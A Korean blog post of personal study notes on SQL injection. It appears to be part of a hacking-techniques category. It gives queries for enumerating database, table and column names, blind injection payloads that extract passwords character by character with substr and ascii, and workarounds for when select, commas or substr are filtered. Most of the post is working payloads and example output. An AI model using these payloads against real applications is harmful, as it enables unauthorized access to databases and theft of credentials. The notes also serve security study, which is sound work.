1. DB 알아내는 법.
select database()
2. table명 알아내는 법
SELECT table_name from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'DB명'
-table이 여러개일 때는 한 줄로 출력하기 위해 table_name 대신 group_concat(table_name)사용
-substr
3. column명 알아내는 법
SELECT column_name from INFORMATION_SCHEMA.COLUMNS WHERE table_name='테이블명'
-column이 여러개일 때는 한 줄로 출력하기 위해 column_name 대신 group_concat(column_name)사용
++<select, ","가 막혔을 때>
procedure analyse(); 사용 --> DB명.TABLE명.COLUMN명순으로 데이터 출력
<BLIND SQL INJECTION>
ex) select data from tawhere id='admin' and pw='입력값'
입력: 1' or substr('password', 1, 1)="알파벳"
--> 참이면 그 pw의 첫 자리 숫자는 알파벳. 여기서 password는 컬럼명(목록은 1로 가정).
알고자 하는 것은 password의 값
select substr((select id from table1 limit 1,1),3,1);
--> 'e' 출력
select substr((select data from table1 where id='admin'), 1, 1);
--> 's' 출력
select data from table1 where id = 'admin' and pw='idontknow' or substr(pw, 1, 1)='1';
(id='admin'일 때 pw의 1번째에서 1번째 글자가 1이다.)
--> 'secret data' 출력 (참 판정)
select data from table1 where id = 'admin' and pw='idontknow' or substr(pw, 2, 1)='2';
--> 'secret data' 출력 (참 판정)
SELECT ascii(substr("hello", 2, 1));
hello의 2째글자부터 1개인 글자인 'e'에 해당하는 ascii값을 출력
substr 이 막혔을 때:
substr('password',N,1)==right(left('password', N,),1) ----> N번째 문자 사용
'보안 공부 > 해킹기법' 카테고리의 다른 글
Blind SQL Injection 파이썬 예문 (0) | 2022.01.28 |
---|---|
encode 기법에 따른 hash특징 정리 (0) | 2022.01.21 |
SQL injection(SQL 인젝션 공격) (0) | 2022.01.15 |
웹해킹 우회 참고 사이트 (0) | 2021.12.06 |